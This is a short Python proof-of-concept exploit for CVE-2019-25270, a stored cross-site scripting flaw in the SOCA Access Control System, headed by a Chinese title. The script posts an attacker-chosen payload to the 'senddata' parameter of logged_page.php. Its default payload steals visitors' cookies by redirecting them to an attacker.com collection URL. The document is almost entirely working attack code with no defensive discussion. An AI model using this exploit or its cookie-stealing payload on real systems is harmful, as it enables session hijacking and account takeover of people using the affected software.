CVE-2019-25270 SOCA Access Control System存储型XSS漏洞

import requests import sys # CVE-2019-25270 PoC - SOCA Access Control System XSS # Target: logged_page.php 'senddata' POST parameter def exploit_xss(target_url, payload): """ Exploit stored XSS in SOCA Access Control System target_url: Base URL of the vulnerable application payload: Malicious JavaScript payload to inject """ exploit_url = f"{target_url}/logged_page.php" # Construct the malicious POST request data = { 'senddata': payload } try: response = requests.post(exploit_url, data=data, timeout=10) if response.status_code == 200: print(f"[+] Payload sent successfully to {exploit_url}") print(f"[+] Payload: {payload}") print("[*] The XSS payload is now stored and will execute when users visit the page") return True else: print(f"[-] Failed to send payload. Status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2019-25270.py <target_url> [payload]") print("Example: python cve-2019-25270.py http://target.com '<script>alert(document.cookie)</script>'") sys.exit(1) target = sys.argv[1] # Default cookie stealing payload xss_payload = sys.argv[2] if len(sys.argv) > 2 else "<script>document.location='http://attacker.com/steal?c='+document.cookie</script>" exploit_xss(target, xss_payload)